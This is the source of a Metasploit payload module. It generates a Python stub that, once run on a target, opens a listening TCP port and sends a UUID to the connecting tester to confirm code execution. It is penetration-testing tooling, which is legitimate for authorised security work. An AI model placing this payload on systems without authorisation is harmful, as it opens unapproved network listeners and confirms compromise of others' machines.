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module MetasploitModule
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  CachedSize = :dynamic
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  include Msf::Payload::Single
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  include Msf::Payload::Python
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  include Msf::Payload::Pingback
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  include Msf::Payload::Pingback::Options
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  def initialize(info = {})
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    super(
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      merge_info(
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        info,
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        'Name' => 'Python Pingback, Bind TCP (via python)',
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        'Description' => 'Listens for a connection from the attacker, sends a UUID, then terminates',
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        'Author' => 'asoto-r7',
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        'License' => MSF_LICENSE,
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        'Platform' => 'python',
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        'Arch' => ARCH_PYTHON,
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        'Handler' => Msf::Handler::BindTcp,
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        'Session' => Msf::Sessions::Pingback,
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        'PayloadType' => 'python'
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      )
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    )
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  end
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  def generate(_opts = {})
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    super.to_s + command_string
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  end
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  def command_string
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    self.pingback_uuid ||= generate_pingback_uuid
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    cmd = <<~PYTHON
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      import binascii as b
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      import socket as s
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      o=s.socket(s.AF_INET,s.SOCK_STREAM)
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      try:
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       o.setsockopt(s.SOL_SOCKET, s.SO_REUSEADDR, 1)
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       o.bind(('0.0.0.0', #{datastore['LPORT']}))
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       o.listen(1)
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       o,addr=o.accept()
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       o.send(b.a2b_base64('#{[[self.pingback_uuid].pack('H*')].pack('m0')}'))
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       o.close()
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      except:
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       pass
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    PYTHON
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    py_create_exec_stub(cmd)
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  end
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end
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